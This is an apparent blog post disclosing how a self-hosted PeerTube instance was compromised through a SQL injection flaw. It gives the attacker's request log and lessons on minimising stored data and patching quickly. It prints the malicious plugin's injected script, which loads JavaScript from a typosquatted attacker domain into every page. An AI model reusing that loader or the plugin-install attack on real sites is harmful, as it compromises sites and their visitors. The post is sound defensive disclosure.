5 min read

A Vulnerability Hit Our PeerTube: Here's What Happened & What It Teaches About Self-Hosting

A vulnerability hit our self-hosted PeerTube in May. Here's exactly what happened, what was (and wasn't) at risk, and what it can teach about self-hosting.

A Vulnerability Hit Our PeerTube: Here's What Happened & What It Teaches About Self-Hosting
Photo by Scott Rodgerson / Unsplash

Every piece of software has security flaws nobody has found yet. WordPress, Nextcloud, your mail server, all of it. The flaws sit there until someone discovers them, and then the clock starts ⏰ A race between the people who patch and the people who exploit. As a lifelong runner, I respect a good race. But this kind is a lot more stressful to navigate!

Little Henry racing

Let's start with a simple fact: When you use a hosted service like this blog, a security team is 24/7 dedicated to ensuring the safety of users. The Ghost team is incredible at what they do. But the moment you self-host, that now becomes your responsibility.

In May, a vulnerability in PeerTube, the open-source software behind our self-hosted techlore.tv, was exploited. Our instance was one of many impacted, though fortunately no personal data was exposed and it's unlikely anyone's safety was at risk.

But this incident highlights the tradeoff at the heart of self-hosting: you get real independence, but in exchange you become the person in charge of keeping it safe. Here's what that responsibility actually looks like and the lessons I wanted to share from this incident.

What Happened?

PeerTube versions pre-8.1.6 contained a SQL injection vulnerability that let an
attacker mint an auth token for the root account with no password required. PeerTube patched it with v8.1.6 on May 20, 2026, but their own release notes confirm the flaw was exploited before the patch even existed.

PeerTube Release Notes

Our instance was hit on May 22. Based on our server logs, the
attacker's entire footprint was five requests from a single IP (20.240.202.159, using a plain curl/8.5.0 client)

Time (UTC) Request Result
14:46:19 GET /api/v1/users/me 200 — confirmed admin access
20:50:51 GET /api/v1/users/me 200 — re-checked ~6h later
20:50:53 POST /api/v1/plugins/install 200 — installed the plugin
20:50:53 GET /api/v1/plugins/... 200 — verified the install
20:50:53 GET /plugins/.../common-client-plugin.js 200 — fetched the script

That's the whole log, which means no accounts were created, no settings changed, and no videos touched. We dealt with the same hit-and-run pattern reported across other affected instances.

Screenshot of techlore.tv with the malicious plugin

Like the other reported attacks, the plugin they installed injected one line into every page on our site:

const script = document.createElement('script')
script.src = 'https://www.googie-anaiytics.com/jquery.ui.js'
document.head.appendChild(script)

When I examined it, the script did nothing but print a harmless line to the browser console. To summarize the complete incident response:

  1. Collected evidence and logs
  2. Removed the plugin
  3. Revoked the attacker's login
  4. Updated to the patched version and confirmed nothing else had been altered

I also wanted to give a shoutout to Solomon Tech for their excellent coverage, it's how this first hit my radar after someone in our private Signal group forwarded it to me. And now that I've covered the incident, I wanted to circle back to two core lessons every self-hoster should sit with.

Self-Hosting Lesson 1: Host as little sensitive data as possible

low-angle photography of metal structure
Photo by Alina Grubnyak / Unsplash

When you self-host, you become the custodian of whatever data you collect. That can include accounts, emails, passwords, logs, and other personal data. So the question to ask before hosting anything is: What's the least amount of data you can collect to still provide a quality experience?

When I noticed the malicious plugin, my first 'freak out' was about how this would impact our viewers. But since we host no accounts, no emails, no watch histories...even with admin access the potential damage is well-contained, so my initial concerns passed quickly. There's also currently no evidence of malicious scripts being pushed to viewers on impacted PeerTube instances.

Put simply: The more data you collect, the greater your risk, and the stronger your security posture needs to be.

Self-Hosting Lesson 2: Line up for the patch race

low angle photography of track field
Photo by Tirza van Dijk / Unsplash

Self-hosting means you're the one who has to know a vulnerability exists, judge whether it's urgent, and apply the fix before the gap gets used. It's a race where you don't get to pick the start date.

While I feel I did a lot right, it still wasn't enough. I "watch" the PeerTube repo on GitHub, so I'm notified of every release the moment it ships. I run automatic updates on a weekly schedule. But I headed into my weekend without opening the email and the automatic updates were set for Monday, several days into active exploitation. The only reason I patched it before the automatic update was because one of our Techlorians pinged me about it on Signal.

Message sent to me from our Techlorian Signal group

This is a tough problem to solve without a dedicated team watching infrastructure 24/7, which most of us self-hosting don't have. And I don't think the fix is trying harder, it's building systems that depend less on you being online at the right time. I'm experimenting with two things specifically:

  1. Separating security releases from the stream of minor ones, so the urgent stuff doesn't get buried.
  2. Adding monitoring to the server that alerts me the moment something changes on the instance.

The beautiful thing about a real race is that I know the date and can taper my training to peak for it. Self-hosting is the opposite...you're signed up for a pop-up race that can fire on any day, at any hour. And I don't think every self-hoster is aware of this commitment.

The short version

Hold the least amount of sensitive data you can get away with, and treat every security patch like the clock's already running.

Should you still self-host? Yes! The independence is real. I love our PeerTube instance. It's our own, independent alternative to YouTube where you can watch our content without ads, distractions, or big tech companies. I think it's a testament that it's still possible for people to have safe places on the internet.

But it's important to go into self-hosting understanding the risks. And that's why I'm writing this: to disclose the incident and how it was handled, but also to turn it into something useful for anyone already self-hosting or thinking about starting. This is also why you won't see user registration on Techlore.TV anytime soon. I'd only open that door if we could protect that data as seriously as it deserves, and keeping it off the table entirely is the simplest way to honor the lessons above.

Questions about any of this, including the specifics of what happened? Just let me know. And if you're a PeerTube admin feel free to ping me as well if you need any pointers on navigating this incident.

Know Your Rights. Protect Your Freedom.

Digital Rights Digest—threats to your freedom and how to fight back. A five-minute weekly read, 100% free.